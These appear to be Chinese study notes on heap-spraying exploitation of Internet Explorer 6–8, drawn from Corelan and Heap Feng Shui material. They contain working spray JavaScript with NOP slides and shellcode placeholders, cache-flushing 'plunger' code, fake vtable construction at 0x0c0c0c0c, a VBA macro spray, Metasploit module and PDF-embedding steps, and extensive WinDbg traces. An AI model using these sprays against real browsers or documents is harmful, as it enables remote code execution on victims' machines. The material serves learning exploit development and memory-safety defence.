堆 IE6 IE7 而言, 快速(在堆块大小与重复喷射次数之间找到平衡点),
稳定(每次堆喷射都能使目标地址指向NOPS)
JS 上分配字符串 会变成 BSTR字符串对象,该对象有一个 头信息 + 终止符,
并包含原始字符串经UNICODE转换后的字符串
BSTR 对象的头信息 4 字节,包含UNICODE长度,
在对象尾部包含 2 NULL 字节,代表字符串的结束
在 Immunity Debugger 中可以使用
!mona find -s "CORELAN!" -unicode -x 查找 unicode strings
在 windbg 下可以使用
s -u 0x00000000 L?0x7fffffff "CORELAN!" #如果想搜索ASCII 可以使用 -a
因为堆与堆分配是 确定的,直接假设,如果继续分配内存块,分配器将会在连续/领近的地址分配堆块
最后分配的内存块将会覆盖掉某个地址,至少是可预测的地址,虽然首次分配的地址是可变的,
但利用堆喷射,在分配一定次数的内存块后,就可在可预测的地址上分配内存
unescape 其实就是 解码编码字符串
如果用一些事 unicode 的字符串赋予变量,那么它就不用再转换成unicode了,用 %u 即可实现
var myvar = unescape('%u4F43%u4552'); // CORE
myvar += unescape('%u414C%u214E'); // LAN!
windbg 查询:
0:013> s -a 0x00000000 L?7fffffff "CORELAN"
053a03bc 43 4f 52 45 4c 41 4e 21-00 00 6e 00 00 00 00 00 CORELAN!..n..
再前4字节是 BSTR header
053a03b8 08 00 00 00 43 4f 52 45-4c 41 4e 21 00 00 6e 00 ....CORELAN!..n.
可以输入 NULL 字节啊~~~
我们在选取BSTR对象是要考虑它的大小,可能会掉入 两个堆块之间的间隙,
趋近于 堆块大小 = BSTR对象大小
unicode :
tag = unescape('%u4F43%u4552'); // CORE
tag += unescape('%u414C%u214E'); // LAN! 这样显示只有4字节
用 unescape 的.length() 返回的大小减半, 但是实际存储是两倍,这样就刚好合适
Immunity Debugger 调试中可以使用
!mona find -s "CORELAN!" 查看到 字符串的所在地
windbg 调试
!heap -stat 可以看到默认进程堆
-stat
(Windows XP and later) Displays usage statistics for the specified heap.
!heap -a 0xXXXXXX 可以显示详细信息
-a Causes the display to include all information for the specified heap. Size, in this case, is rounded up to the heap granularity. (Running !heap with the –a option is equivalent to running it with the three options -h -f -m, which can take a long time.)
!heap -stat -h 0xXXXXXX 可以显示堆分配的统计数
0:011> !heap -stat -h 00140000
heap @ 00140000
group-by: TOTSIZE max-display: 20
size #blocks total ( %) (percent of total busy bytes)
2010 c0 - 180c00 (66.80) //%66.80 get the same size 2010 bytes c0次
4000 4 - 10000 (2.78)
3ff0 3 - bfd0 (2.08)
4010 2 - 8020 (1.39)
8000 1 - 8000 (1.39)
20 2e7 - 5ce0 (1.01)
56f8 1 - 56f8 (0.94)
52ac 1 - 52ac (0.90)
可以用 !heap -p -a 0x00210fe4 查看分配的喷射数据
-p
Specifies that page heap information is being requested. If this is used without any PageHeapOptions, all page heaps will be displayed.
0:012> !heap -p -a 0x0354004c
address 0354004c found in
_HEAP @ 140000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
03540040 0803 0000 [01] 03540048 04010 - (busy)
//UserSize 堆块实际大小,我们知道一般 都不会与欲保存的数据一致,
//但我们可以更改BSTR 对象的大小 来操作分配字节数,使其与欲存储的数据大小接近
下面将 chunksize = 0x4000; 增大~~~~~~~~~~~~~~~~~~~~~~~~~~~~
0:012> !heap -stat
_HEAP 00140000
Segments 00000004
Reserved bytes 00800000
Committed bytes 00745000
VirtAllocBlocks 00000000
VirtAlloc bytes 00000000
~~~~~~~~~
0:012> !heap -stat -h 00140000
heap @ 00140000
group-by: TOTSIZE max-display: 20
size #blocks total ( %) (percent of total busy bytes)
8010 c8 - 640c80 (88.73) //%88.73 增大了 8010 bbytes c8 次
8000 4 - 20000 (1.77)
7ff0 3 - 17fd0 (1.33)
20 2e5 - 5ca0 (0.32)
56f8 1 - 56f8 (0.30)
52ac 1 - 52ac (0.29)
~~~~~~~~
-h Causes the display to include all entries for the specified heap.
0:012> !heap -flt s 8010 //列出 所有指定大小的分配块
_HEAP @ 140000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
001ebea8 1003 0000 [01] 001ebeb0 08010 - (busy)
0020be18 1003 1003 [01] 0020be20 08010 - (busy)
00213e30 1003 1003 [01] 00213e38 08010 - (busy)
00233c90 1003 1003 [01] 00233c98 08010 - (busy)
03140010 1003 1003 [01] 03140018 08010 - (busy)
03148028 1003 1003 [01] 03148030 08010 - (busy)
03150040 1003 1003 [01] 03150048 08010 - (busy)
03158058 1003 1003 [01] 03158060 08010 - (busy)
03160070 1003 1003 [01] 03160078 08010 - (busy)
03168088 1003 1003 [01] 03168090 08010 - (busy)
031700a0 1003 1003 [01] 031700a8 08010 - (busy)
-flt
(Windows XP and later) Limits the display to include only heaps with the specified size or size range.
s Size Limits the display to include only heaps of the specified size.
//HEAP_ENTRY 给出的指针就是分配堆块的起始地址
0:012> d 001ebea8
001ebea8 03 10 01 10 c3 01 08 00-00 80 00 00 43 4f 52 45 ............CORE
001ebeb8 4c 41 4e 21 90 90 90 90-90 90 90 90 90 90 90 90 LAN!............
001ebec8 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ..
前8字节是 堆头
Size of current chunk |
Size of previous chunk |
CK |
FL |
UN |
SI |
\x00\x12 |
\x00\x12 |
\x8a |
\x01 |
\xff |
\x04 |
//UserPtr 一列代表堆块中数据的起始地址
0:012> d 001ebeb0
001ebeb0 00 80 00 00 43 4f 52 45-4c 41 4e 21 90 90 90 90 ....CORELAN!....
001ebec0 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
001ebed0 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ....
BSTR object header 代表大小为脚本中指定内存块大小的两倍,我们已经指定是由 unescape数据时返回长度导致的
实际分配了 0x8000 字节,length() 只是返回了一半 heap chunk size > 0x8000字节 略大于 0x8000(因为它需要一些
空闲空间去存储堆头信息,这里是8字节,还有BSTR header 4 字节 +终止符6字节) 8010字节 ,显然我们应尽量让
IE分配独立内存块,而并将所有信息存储在一些较大的内存块, 0x8010 已经是 堆块之间连接 没有 垃圾数据了
0:012> !heap -flt s 8010
_HEAP @ 140000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
001ebea8 1003 0000 [01] 001ebeb0 08010 - (busy)
0020be18 1003 1003 [01] 0020be20 08010 - (busy)
00213e30 1003 1003 [01] 00213e38 08010 - (busy)
00233c90 1003 1003 [01] 00233c98 08010 - (busy)
03140010 1003 1003 [01] 03140018 08010 - (busy)
03148028 1003 1003 [01] 03148030 08010 - (busy)
03150040 1003 1003 [01] 03150048 08010 - (busy)
03158058 1003 1003 [01] 03158060 08010 - (busy)
03160070 1003 1003 [01] 03160078 08010 - (busy)
03168088 1003 1003 [01] 03168090 08010 - (busy)
031700a0 1003 1003 [01] 031700a8 08010 - (busy)
031780b8 1003 1003 [01] 031780c0 08010 - (busy)
0:012> d 0020be10
0020be10 90 90 90 90 90 90 90 90-03 10 ff 0f d5 01 08 00 ................
0020be20 00 80 00 00 43 4f 52 45-4c 41 4e 21 90 90 90 90 ....CORELAN!....
0020be30 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
0020be40 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
0020be50 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
可以看到 某堆块的末尾连接着下一堆块的开头
bp ntdll!RtlAllocateHeap+0x117 "r $t0=esp+0xc;.if (poi(@$t0) > 0xfff) {.printf \"RtlAllocateHeap hHEAP 0x%x, \", poi(@esp+4);.printf \"Size: 0x%x, \", poi(@$t0);.printf \"Allocate chunk at 0x%x\", eax;.echo;ln poi(@esp);.echo};g"
.logopen heapalloc.log
g
poi = Pointer-sized data from the specified address
When you use a register in an expression, you should add an at sign ( @ ) before the register.
This at sign tells the debugger that the following text is the name of a register.
The ln command displays the symbols at or near the given address.
0:012> u 7c9300a4+0x117
ntdll!RtlAllocateHeap+0xeac:
7c9301bb c20c00 ret 0Ch
7c9301be 90 nop
7c9301bf 90 nop
1)如果需要在其他系统上运行,需要修改 函数对应偏移量,之后执行双引号内的命令,用分号隔开每条命令
2)命令向栈 esp+0xc 请求size 参数,并判断是否大于 0xfff (避免记录较小的分配行为,可随意更改此值)
3)打印字符串,
4)将输出信息输入 heapaalloc.log中
RtlAllocateHeap heap: 0x140000 Size: 0x2050 Allocate chunk at 0x219f18
(7c809a1d) kernel32!LocalAlloc+0x58 | (7c809a99) kernel32!lstrlenW
RtlAllocateHeap heap: 0x140000 Size: 0x2050 Allocate chunk at 0x219f18
(7c809a1d) kernel32!LocalAlloc+0x58 | (7c809a99) kernel32!lstrlenW
RtlAllocateHeap heap: 0x140000 Size: 0x2010 Allocate chunk at 0x219f18
(769ad025) ole32!CRetailMalloc_Alloc+0x16 | (769ad044) ole32!CoTaskMemFree
RtlAllocateHeap heap: 0x140000 Size: 0x2010 Allocate chunk at 0x21bf30
(769ad025) ole32!CRetailMalloc_Alloc+0x16 | (769ad044) ole32!CoTaskMemFree
RtlAllocateHeap heap: 0x140000 Size: 0x2010 Allocate chunk at 0x201ff8
(769ad025) ole32!CRetailMalloc_Alloc+0x16 | (769ad044) ole32!CoTaskMemFree
RtlAllocateHeap heap: 0x140000 Size: 0x2010 Allocate chunk at 0x204010
(769ad025) ole32!CRetailMalloc_Alloc+0x16 | (769ad044) ole32!CoTaskMemFree
RtlAllocateHeap heap: 0x140000 Size: 0x2010 Allocate chunk at 0x206028
(769ad025) ole32!CRetailMalloc_Alloc+0x16 | (769ad044) ole32!CoTaskMemFree
RtlAllocateHeap heap: 0x140000 Size: 0x2010 Allocate chunk at 0x208040
(769ad025) ole32!CRetailMalloc_Alloc+0x16 | (769ad044) ole32!CoTaskMemFree
~~~~~~~~~~~
在最常见的各个exp中 都使用 0x0c0c0c0c 这个地址,它比 0x06060606 地址更高。
需要增加喷射的次数,CPU循环和内存来使其达到 0x0c0c0c0c0c ,但也无需每次都要喷射到 0x0c0c0c0c 。
需要在XP IE 6 7 8 上测试 那么将 IE 升级到 IE8 然后运行 Internet Explorer Collection 安装IE6 IE7的附加版本
Internet Explorer Collection,IE 兼容工具包,包含了IE2.0-IE8 渲染引擎,并可以同时使用这些引擎。因为IE并至今还没有完全遵循W3C Web国际标准,适用于网页开发者进行兼容性测试。对于普通用户可能没什么用,对于网页开发者带来极大的便利,因为IE并至今还没有完全遵循W3C Web国际标准,适用于网页开发者进行兼容性测试。+_+ 网页制作者都会骂万恶的IE6 !
不管你的系统已经安装了任何版本的IE,都可以直接安装 Internet Explorer Collection,不会影响现有系统所安装的 IE 版本。
Internet Explorer Collection包含的IE版本:
•Internet Explorer 1.0 (4.40.308)
•Internet Explorer 1.5 (0.1.0.10)
•Internet Explorer 2.01 (2.01.046)
•Internet Explorer 3.0 (3.0.1152)
•Internet Explorer 3.01 (3.01.2723)
•Internet Explorer 3.03 (3.03.2925)
•Internet Explorer 4.01 (4.72.3110.0)
•Internet Explorer 5.01 (5.00.3314.2100)
•Internet Explorer 5.5 (5.51.4807.2300)
•Internet Explorer 6.0 (6.00.2800.1106)
•Internet Explorer 6.0 (6.00.2900.2180)
•Internet Explorer 7.0 (7.00.5730.13)
•Internet Explorer 8.0 (8.00.6001.18702)
!mona findmsp
在正常的SEH exploit 中 我们需要 NON-SAFESEH模块找到 POP POP RET 并跳入NSEH
利用 HEAP SPRAY 我们就可以实现直接跳入堆中~_~
接下来是 HEAP SPRAY 利用 0xffffffff 覆盖返回地址以触发异常,并用 0xcccccccc 覆盖 nseh。
设置SE Hander 为指定的堆地址0x06060606 使其触发异常后直接执行到NOPS + shellcode,以触发INT3断点
设置 的块 大小 7FFEA
第一步 (不是最终结果)poc:
网页显示如下:~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
搜索特征码:CORE ~~~~~~~可以看到在0x06060606 上有一个我们喷射的块~~~~~~~~~~~~~~~~~~~~~~~~
shellcode 生成 参考 http://blog.csdn.net/zcc1414/article/details/21300395
喷射太复杂 可以参考以前的例子~_~
最后使用 可以用
while(junk1.length < 300) junk1 += "\x06";
payload = junk1
那么总结: 可以选择 全用 \x0c 覆盖全部 block和nops 那么
虚函数指针被覆盖为 0x0c0c0c0c 那么函数指针解引用 ,那么
0x0c0c0c0c 作为虚表地址 也包含 0x0c0c0c0c
最终执行 0c 0c or al,0x0c
bmpheapspray.rb 到 /opt/metasploit/msf3/lib/msf/core/exploit 作为MSF 的模块
编辑 /opt/metasploit/msf3/lib/msf/core/exploit/mixins.rb
添加 require '/msf/core/exploit/bmpheapspray' 就添加模块成功~_~
在其他exp中可以引用这个模块 比如: include Msf::Exploit::BMPHEAPSPRAY
这里实验的是 BMP对浏览器喷射 方法~_~ 那么
在XP 下访问网址 复制 网站下来即可得到 生成的BMP 喷射图片
make-pdf-javascript.py -f adobe_spray.txt test.pdf 可以将JS嵌入到 PDF中~_~ 喷射的数据
ActionScript是 Macromedia(现已被Adobe收购)为其Flash产品开发的 ,最初是一种简单的脚本语言,现在最新版本3.0,是一种完全的面向对象的编程语言,功能强大,类库丰富,语法类似JavaScript,多用于Flash互动性、娱乐性、实用性开发,网页制作和RIA应用程序开发。
可以用 flash 喷射网页~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Sub Sprary()
Dim block As String
Dim i As Double
i = 0
Do Until (i > 100000)
block = block + Chr(144)
i = i + 1
Loop
MsgBox ("sprary")
i = 0
Dim Arr(2000) As String
Do Until (i > 2000)
Arr(i) = "CORELAN" + Str(i) + block
i = i + 1
Loop
MsgBox ("Done")
End Sub
可以运行宏,也可以调用WINDOWS API 函数向进程注入 shellcode并执行它
前面提供的经典heap spray代码是不能在IE8下正常运行的,看起来就像没发生过喷射一样。
(顺便提下,追踪IE8下的heap spray字符串分配的最简单方法是对jscript!JsStrSubstr函数下断。)IE8是目前最流行使用最广泛的浏览器之一,它支持DEP(通过调用SetProcessDEPPolicy())保护,使其问题更加复杂化。在更新版本的操作系统中,由于安全意识及设置的提高,DEP无法再置之不理了。即使你能够顺利完成heapspray,但如果无法稳定地绕过DEP,那也是白搭。也就是说,你不能仅仅跳转到堆上的nop区域。其它如Firefox、Google Chrome、Opera和Safari等等近期新旧版本的浏览器也是允许DEP保护。后面看下heaplib为何物,以及它的作用。
http://www.phreedom.org/research/heap-feng-shui/heap-feng-shui.html
var nop = unescape("%u9090%u9090");
// Create a 1MB string of NOP instructions followed by shellcode:
//
// malloc header string length NOP slide shellcode NULL terminator
// 32 bytes 4 bytes x bytes y bytes 2 bytes
while (nop.length <= 0x100000/2) nop += nop;
nop = nop.substring(0, 0x100000/2 - 32/2 - 4/2 - shellcode.length - 2/2);
var x = new Array();
// Fill 200MB of memory with copies of the NOP slide and shellcode
for (var i = 0; i < 200; i++) {
x[i] = nop + shellcode;
}
JavaScript的字符串
JavaScript引擎分配大部分内存与MSVCRT malloc()和new()函数,使用过程中的CRT初始化创建一个专用的堆。其中一个重要的例外是针对JavaScript字符串的数据。它们被存储为BSTR字符串,所用的COM接口基本字符串类型。他们的内存是从由SysAllocString家族在 OLEAUT32.DLL 函数的默认进程堆分配。
下面是在JavaScript字符串分配一个典型的回溯:
ChildEBP RetAddr Args to Child
0013d26c 77124b52 77606034 00002000 00037f48 ntdll!RtlAllocateHeap+0xeac
0013d280 77124c7f 00002000 00000000 0013d2a8 OLEAUT32!APP_DATA::AllocCachedMem+0x4f
0013d290 75c61dd0 00000000 00184350 00000000 OLEAUT32!SysAllocStringByteLen+0x2e
0013d2a8 75caa763 00001ffa 0013d660 00037090 jscript!PvarAllocBstrByteLen+0x2e
0013d31c 75caa810 00037940 00038178 0013d660 jscript!JsStrSubstrCore+0x17a
0013d33c 75c6212e 00037940 0013d4a8 0013d660 jscript!JsStrSubstr+0x1b
0013d374 75c558e1 0013d660 00000002 00038988 jscript!NatFncObj::Call+0x41
0013d408 75c5586e 00037940 00000000 00000003 jscript!NameTbl::InvokeInternal+0x218
0013d434 75c62296 00037940 00000000 00000003 jscript!VAR::InvokeByDispID+0xd4
0013d478 75c556c5 00037940 0013d498 00000003 jscript!VAR::InvokeByName+0x164
0013d4b8 75c54468 00037940 00000003 0013d660 jscript!VAR::InvokeDispName+0x43
0013d4dc 75c54d1a 00037940 00000000 00000003 jscript!VAR::InvokeByDispID+0xfb
0013d6d0 75c544fa 0013da80 00000000 0013d7ec jscript!CScriptRuntime::Run+0x18fb
在堆上分配一个新的字符串,我们需要创建一个新的JavaScript字符串对象。我们不能简单地指定字符串到一个新的变量,因为这不会创建字符串数据的备份。相反,我们需要连接两个字符串或使用substr 函数。例如:
var str1 = "AAAAAAAAAAAAAAAAAAAA"; // doesn't allocate a new string
var str2 = str1.substr(0, 10); // allocates a new 10 character string
var str3 = str1 + str2; // allocates a new 30 character string
BSTR字符串存储在内存中包含四个字节大小字段的结构,其次是字符串数据,16位宽的字符和一个16位的空终止。
从这个例子其中str1字符串上面会在内存中的表示形式如下:
string size | string data | null terminator
4 bytes | length / 2 bytes | 2 bytes
| |
14 00 00 00 | 41 00 41 00 41 00 41 00 41 00 41 00 41 00 41 00 41 00 41 00 | 00 00
bytes = len * 2 + 6
len = (bytes - 6) / 2
字符串的存储方式可以让我们写一个函数,通过分配一个新的字符串分配一个任意大小的内存块。该代码将计算所需的字符串长度使用len = (bytes - 6) / 2的公式,并调用substr来分配长度的新字符串。该字符串将包含填充串复制的数据。如果我们想要把具体的数据到新的内存块,我们只需要初始化字符串填充它先。
// Build a long string with padding data
padding = "AAAA"
while (padding.length < MAX_ALLOCATION_LENGTH)
padding = padding + padding;
// Allocate a memory block of a specified size in bytes
function alloc(bytes) {
return padding.substr(0, (bytes-6)/2);
}
Garbage collection
操纵浏览器堆的布局是不够的,能够分配任意大小的内存块,我们还需要一种方法来释放他们。 JavaScript的运行时使用一个简单的标记 - 清除垃圾收集,最详尽的描述,是Eric Lippert's blog.中。
垃圾收集是通过各种试探法,如自上次运行中创建的对象的数量触发。标记 - 清除算法识别在JavaScript运行时的所有未引用的对象,并破坏它们。当一个字符串对象被销毁,其数据将被释放通过调用SysFreeString在OLEAUT32.DLL。
ChildEBP RetAddr Args to Child
0013d324 774fd004 00150000 00000000 001bae28 ntdll!RtlFreeHeap
0013d338 77124ac8 77606034 001bae28 00000008 ole32!CRetailMalloc_Free+0x1c
0013d358 77124885 00000006 00008000 00037f48 OLEAUT32!APP_DATA::FreeCachedMem+0xa0
0013d36c 77124ae3 02a8004c 00037cc8 00037f48 OLEAUT32!SysFreeString+0x56
0013d380 75c60f15 00037f48 00037f48 75c61347 OLEAUT32!VariantClear+0xbb
0013d38c 75c61347 00037cc8 000378a0 00036d40 jscript!VAR::Clear+0x5d
0013d3b0 75c60eba 000378b0 00000000 000378a0 jscript!GcAlloc::ReclaimGarbage+0x65
0013d3cc 75c61273 00000002 0013d40c 00037c10 jscript!GcContext::Reclaim+0x98
0013d3e0 75c99a27 75c6212e 00037940 0013d474 jscript!GcContext::Collect+0xa5
0013d3e4 75c6212e 00037940 0013d474 0013d40c jscript!JsCollectGarbage+0x10
要释放我们分配的字符串中的一个,我们需要删除所有的引用,并且运行垃圾回收器。
幸运的是,我们不必等待启发式之一来触发它,因为在Internet Explorer中的JavaScript实现提供了CollectGarbage()函数强制垃圾收集器立即运行。使用此功能显示在下面的代码:
var str;
// We need to do the allocation and free in a function scope, otherwise the
// garbage collector will not free the string.
function alloc_str(bytes) {
str = padding.substr(0, (bytes-6)/2);
}
function free_str() {
str = null;
CollectGarbage();
}
alloc_str(0x10000); // allocate memory block
free_str(); // free memory block
OLEAUT32内存分配器
不幸的是,事实证明,调用SysAllocString并不总是导致从系统堆分配。分配和释放BSTR的字符串函数使用一个自定义的内存分配器,在OLEAUT32的APP_DATA类中实现。该内存分配器维护释放的内存块的缓存和重用他们的未来分配。这类似于由系统内存分配器保持后备列表。
缓存由4个垃圾桶,每持有一定的尺寸范围内6个街区。当一个块被释放用 APP_DATA:: FreeCachedMem()函数,它存储在分区中的一个。如果垃圾桶已满,在垃圾桶最小的块用 HeapFree释放了,并替换为新的块。块大于32767字节的不缓存,总是直接释放。
当APP_DATA:: AllocCachedMem()被调用来分配内存时,它会在适当的大小垃圾桶一个空闲块。如果有足够大的块被找到,它被从缓存中移除,并返回给调用者。否则,函数HeapAlloc分配新的内存()。
反编译代码:
//The decompiled code of the memory allocator is shown below:
// Each entry in the cache has a size and a pointer to the free block
struct CacheEntry
{
unsigned int size;
void* ptr;
};
// The cache consists of 4 bins, each holding 6 blocks of a certain size range
class APP_DATA
{
CacheEntry bin_1_32 [6]; // blocks from 1 to 32 bytes
CacheEntry bin_33_64 [6]; // blocks from 33 to 64 bytes
CacheEntry bin_65_256 [6]; // blocks from 65 to 265 bytes
CacheEntry bin_257_32768[6]; // blocks from 257 to 32768 bytes
void* AllocCachedMem(unsigned long size); // alloc function
BOOL FreeCachedMem(void* ptr); // free function
};
//
// Allocate memory, reusing the blocks from the cache
//
void* APP_DATA::AllocCachedMem(unsigned long size)
{
CacheEntry* bin;
int i;
if (g_fDebNoCache == TRUE)
goto system_alloc; // Use HeapAlloc if caching is disabled
// Find the right cache bin for the block size
if (size > 256)
bin = this->bin_257_32768;
else if (size > 64)
bin = this->bin_65_256;
else if (size > 32)
bin = this->bin_33_64;
else
bin = this->bin_1_32;
// Iterate through all entries in the bin
for (i = 0; i < 6; i++) {
// If the cached block is big enough, use it for this allocation
if (bin[i].size >= size) {
bin[i].size = 0; // Size 0 means the cache entry is unused
return bin[i].ptr;
}
}
system_alloc:
// Allocate memory using the system memory allocator
return HeapAlloc(GetProcessHeap(), 0, size);
}
// Free memory and keep freed blocks in the cache
DWORD size;
BOOL APP_DATA::FreeCachedMem(void* ptr)
{
CacheEntry* bin;
CacheEntry* entry;
unsigned int min_size;
int i;
if (g_fDebNoCache == TRUE)
goto system_free; // Use HeapFree if caching is disabled
// Get the size of the block we're freeing
size = HeapSize(GetProcessHeap(), 0, ptr);
// Find the right cache bin for the size
if (size > 32768)
goto system_free; // Use HeapFree for large blocks
else if (size > 256)
bin = this->bin_257_32768;
else if (size > 64)
bin = this->bin_65_256;
else if (size > 32)
bin = this->bin_33_64;
else
bin = this->bin_1_32;
// Iterate through all entries in the bin and find the smallest one
min_size = size;
entry = NULL;
for (i = 0; i < 6; i++) {
// If we find an unused cache entry, put the block there and return
if (bin[i].size == 0) {
bin[i].size = size;
bin[i].ptr = ptr; // The free block is now in the cache
return 1;
}
// If the block we're freeing is already in the cache, abort
if (bin[i].ptr == ptr)
return 1;
// Find the smallest cache entry
if (bin[i].size < min_size) {
min_size = bin[i].size;
entry = &bin[i];
}
}
// If the smallest cache entry is smaller than our block, free the cached
// block with HeapFree and replace it with the new block
if (min_size < size) {
HeapFree(GetProcessHeap(), 0, entry->ptr);
entry->size = size;
entry->ptr = ptr;
return 1;
}
system_free:
// Free the block using the system memory allocator
return HeapFree(GetProcessHeap(), 0, ptr);
}
只有我们的一些分配和释放,导致在调用系统分配器。~~~~~~~~~~~~~~~~~~~~~~~~~~~
Plunger technique (柱塞技术)
为了确保每个字符串分配来自于系统堆,我们需要分配的最大规模的6块每个垃圾箱。由于高速缓存可以容纳在一个垃圾桶只有6个块,这将确保所有缓存箱是空的。下一个字符串分配是保证导致调用HeapAlloc()。
如果我们释放我们刚刚分配的字符串,它会进入高速缓存分区中的一个。我们可以通过释放,我们分配在前面的步骤6的最大大小的块冲洗出来的高速缓存。该FreeCachedMem()函数将推动所有较小的块从缓存中,而我们的字符串将被释放与HeapFree()。在这一点上,高速缓存将满,所以我们需要通过分配6的最大大小的块为每个垃圾箱再次清空。
实际上,我们使用的是6块作为柱塞推了所有更小的块进行缓存,然后我们拉柱塞通过再次分配了6个块。
下面的代码显示了柱塞技术的实现:
plunger = new Array();
// This function flushes out all blocks in the cache and leaves it empty
function alloc_str(bytes) {
str = padding.substr(0, (bytes-6)/2);
}
function flushCache() { // Free all blocks in the plunger array to push all smaller blocks out plunger = null; CollectGarbage(); // Allocate 6 maximum size blocks from each bin and leave the cache empty plunger = new Array(); for (i = 0; i < 6; i++) { plunger.push(alloc(32)); plunger.push(alloc(64)); plunger.push(alloc(256)); plunger.push(alloc(32768)); }}flushCache(); // Flush the cache before doing any allocationsalloc_str(0x200); // Allocate the stringfree_str(); // Free the string and flush the cacheflushCache();
push 块从缓存中,并用HeapFree(释放它),它必须比其垃圾箱的最大尺寸小。否则,条件min_size < FreeCachedMem 大小 不会合理和柱塞块将被释放。这意味着,我们不能释放32,64,256或32768 的块,但是这并不是一个严重的限制。
这个程序分配一个16字节的块, 拷贝字符串“AAAAA”进去。该块被打上了标记为“foo”,这就是后来作为一个参数传递给了free()。在free()函数释放带有此标签的所有内存块。 block1 = HeapAlloc(GetProcessHeap(), 0, 512);
block2 = HeapAlloc(GetProcessHeap(), 0, 16);
HeapFree(GetProcessHeap(), 0, block2);
调试 heap.debug("Hello!"); // output a debugging message
heap.debugHeap(true); // enable tracing of heap allocations
heap.alloc(128, "foo");
heap.debugBreak(); // break in WinDbg
heap.free("foo");
heap.debugHeap(false); // disable tracing of heap allocations
bc *
bu 7c9106eb "j (poi(esp+4)==0x150000)
'.printf \"alloc(0x%x) = 0x%x\", poi(esp+c), eax; .echo; g'; 'g';"
bu ntdll!RtlFreeHeap "j ((poi(esp+4)==0x150000) & (poi(esp+c)!=0))
'.printf \"free(0x%x), size=0x%x\", poi(esp+c), wo(poi(esp+c)-8)*8-8; .echo; g'; 'g';"
bu jscript!JsAtan2 "j (poi(poi(esp+14)+18) == babe)
'.printf \"DEBUG: %mu\", poi(poi(poi(esp+14)+8)+8); .echo; g';"
bu jscript!JsAtan "j (poi(poi(esp+14)+8) == babe)
'.echo DEBUG: Enabling heap breakpoints; be 0 1; g';"
bu jscript!JsAsin "j (poi(poi(esp+14)+8) == babe)
'.echo DEBUG: Disabling heap breakpoints; bd 0 1; g';"
bu jscript!JsAcos "j (poi(poi(esp+14)+8) == babe)
'.echo DEBUG: heapLib breakpoint'"
bd 0 1
g
0:012> uf ntdll!RtlAllocateHeap
...
ntdll!RtlAllocateHeap+0xea7:
7c9106e6 e817e7ffff call ntdll!_SEH_epilog (7c90ee02)
7c9106eb c20c00 ret 0Ch
0:012> !peb
PEB at 7ffdf000
...
ProcessHeap: 00150000
DEBUG: Hello!
DEBUG: Enabling heap breakpoints
alloc(0x80) = 0x1e0b48
DEBUG: heapLib breakpoint
eax=00000001 ebx=0003e660 ecx=0003e67c edx=00038620 esi=0003e660 edi=0013dc90
eip=75ca315f esp=0013dc6c ebp=0013dca0 iopl=0 nv up ei ng nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000296
jscript!JsAcos:
75ca315f 8bff mov edi,edi
0:000> g
DEBUG: Flushing the OLEAUT32 cache
free(0x1e0b48), size=0x80
DEBUG: Disabling heap breakpoints
我们可以看到,alloc()函数分配的0x80的字节的内存地址0x1e0b48,后来被free() 释放。示例程序还从HeapLib调用的DebugBreak()触发WinDbg中断点。这个功能被实现为一个特殊的参数 调用JavaScript的acos()函数,它触发的JScript!JsAcos WinDbg断点。这使我们有机会与JavaScript执行,然后再继续检查堆的状态。
实用功能
该库还提供了功能操作的开发中使用的数据。这是一个使用addr()和padding()函数来编写一个假虚函数表块的例子:
var vtable = "";
for (var i = 0; i < 100; i++) {
// Add 100 copies of the address 0x0C0C0C0C to the vtable
vtable = vtable + heap.addr(0x0C0C0C0C);
}
// Pad the vtable with "A" characters to make the block size exactly 1008 bytes
vtable = vtable + heap.padding((1008 - (vtable.length*2+6))/2);
heaplibtest.rb 对抗 IE8 XP SP3 可以用来 0x0c0c0c0c 上有nops 后面是shellcode
heaplibtest2.rb 精确堆喷射 Precision Heap Spraying
0:029> !heap -stat -h 7ffc0
heap @ 0007ffc0
group-by: TOTSIZE max-display: 20
size #blocks total ( %) (percent of total busy bytes)
0:029> !heap -flt s 7ffc0
_HEAP @ 140000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
..................................................................
0c080018 fff8 fff8 [0b] 0c080020 7ffc0 - (busy VirtualAlloc)
0c110018 fff8 fff8 [0b] 0c110020 7ffc0 - (busy VirtualAlloc)
0c1a0018 fff8 fff8 [0b] 0c1a0020 7ffc0 - (busy VirtualAlloc)
0c230018 fff8 fff8 [0b] 0c230020 7ffc0 - (busy VirtualAlloc)
0c2c0018 fff8 fff8 [0b] 0c2c0020 7ffc0 - (busy VirtualAlloc)
..................................................................
可以看到 0c080018 大块 HEAP_ENTRY
0x0c080018 0x1000 bytes 0x1000 bytes 0x1000 bytes 0x1000 bytes ... 0x1000 bytes
0x0c090018 0x1000 bytes 0x1000 bytes 0x1000 bytes 0x1000 bytes ... 0x1000 bytes
0x0c0a0018 0x1000 bytes 0x1000 bytes 0x1000 bytes 0x1000 bytes ... 0x1000 bytes
0x0c0b0018 0x1000 bytes 0x1000 bytes 0x1000 bytes 0x1000 bytes ... 0x1000 bytes
0x0c0c0018 0x1000 bytes 0x1000 bytes 0x1000 bytes 0x1000 bytes ... 0x1000 bytes
0x0c0c0018 是 HEAP_ENTRY 我们需要 UserPtr
0x0c0c0c0c - 0x0c0c0020 = BEC 除以2 = 5F6 就是偏移了
修改 offset_length 为5F6 即可保证溢出点
0:029> d 0c0c0c0c
0c0c0c0c 41 41 41 41 42 42 42 42-43 43 43 43 44 44 44 44 AAAABBBBCCCCDDDD
0c0c0c1c 45 45 45 45 46 46 46 46-47 47 47 47 48 48 48 48 EEEEFFFFGGGGHHHH
0c0c0c2c cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc ................
0c0c0c3c cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc ................
